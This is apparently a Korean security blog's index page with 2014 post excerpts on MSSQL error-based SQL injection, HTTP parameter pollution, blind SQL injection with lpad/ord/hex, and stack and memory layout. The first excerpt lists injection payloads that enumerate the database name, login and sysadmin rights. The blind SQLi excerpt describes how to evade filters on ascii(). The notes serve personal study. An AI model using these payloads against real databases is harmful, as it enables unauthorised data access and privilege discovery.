Security128 MSSQL Error Based SQL Injection [MS-SQL Error Based SQLi] 0. 데이터베이스 조회 - ' and 1=(db_name())-- 1. 사용자계정 조회 및 권한 조회 - ' and 1=(select system_user as 'login name')-- - ' and 1=(select system_user)-- - ' and quotename(is_srvrolemember('sysadmin','sa'))=0-- - ' and quotename(is_srvrolemember(0x730079007300610064006D0069006E))=0-- (결과 값이 1이면 true 0이면 false) 2. 사용자 이름 조회 - ' and 1=(user)-- - ' and 1=(select user as 'user name')-- - .. 2014. 10. 24. HTTP Parameter Pollution 하나의 변수에 대해 연속적으로 접근했을시 어떠한 값을 인식하는지 환경에 따른 차이점이다.ex. p=1&p=2 일 시 PHP/APACHE 의 환경에서는 p=2로 받아들인다. 2014. 10. 10. 효과적인 Blind SQL Injection (lpad, ord, hex, bin, conv 함수를 이용한) 공부하다가 개인적으로 다시 정리를 하고싶어서 여러가지 문서들을 참고하여 작성했다 보통의 Blind SQLi는 한글자를 알아내기 위해 수십번의 쿼리를 날려야 한다. 서버의 상태가 좋지 않거나, 빠르게 알아내야하는 상황이 발생할 경우 이 기술을 사용하면 효과적인 공격이 가능하다. 다음은 해당 기술을 사용하기 위해 알아둬야 할 함수들의 목록이다. 해당 함수들은 기본적으로 알려진 ascii 등의 함수가 필터링되고 있을시에도 유용하게 사용할수있다. ------------------------------------------------------------------------- * lpad 함수 : lpad(초기값, 횟수, 채울문자) : 채울문자를 정해진 횟수의 길이에 도달할 때까지 초기값의 왼쪽에 붙여준다. -.. 2014. 5. 31. File Signature Table http://garykessler.net/library/file_sigs.html 2014. 5. 22. Stack, Prologue, Leave, Ret 임시 자원들을 관리하기 위하여 프로세스는 stack(쓰레드마다 stack이 생성된다.)이라는 메모리 영역을 할당받아 관리한다. stack 자료구조는 후입선출법(LIFO)으로 나중에 들어온 데이터를 먼저 뽑아쓰는 구조로 stack 메모리는 stack자료구조를 push, pop과 esp, ebp로 구현한다. esp는 스택의 최상단을 포인팅, ebp는 스택의 베이스를 포인팅하는 레지스터이고 push data는 stack 상단에 data를 넣고 esp를 증가시켜주고 pop reg로 esp가 가리키고 있는 data를 reg에 넣고 esp를 내려주는 명령어이다. 스택메모리에서 함수가 호출 될 때, 함수에서 빠져나올 때 마다 ebp, esp가 셋팅되는 것을 알아보자. 함수가 호출되고 지역변수를 잡은 후의 스택 메모리.. 2014. 5. 13. 각 영역별 정리 1. 코드영역(실행코드, 함수) : 프로그램 실행코드 또는 함수들이 저장되는 영역이다. 2. 스택영역(지역변수, 매개변수) : 함수호출에 의한 매개변수와 지역변수 그리고 함수, 반복문, 조건문 등의 중괄호 내부에 정의된 변수들이 저장되는 영역으로 잠깐 사용되고 메모리에서 소멸시킬 데이터가 저장되는 영역 3. 데이터영역(전역변수, 정적변수) : 초기화된 전역변수들과 정적변수들이 저장되는 영역으로 프로그램이 종료될 때 까지 유지되어야 하는 데이터가 저장되는 영역 4. BSS : 초기화되지 않은 전역변수와 정적변수가 저장되는 영역 5. 힙 영역(동적 메모리 할당) : 프로그램이 실행되는 동안에 프로그래머가 동적으로 메모리를 할당할 수 있는 영역. 즉 프로그래머가 마음대로 사용할 수 있는 영역 2014. 5. 5. 이전 1 2 3 4 5 6 7 ··· 22 다음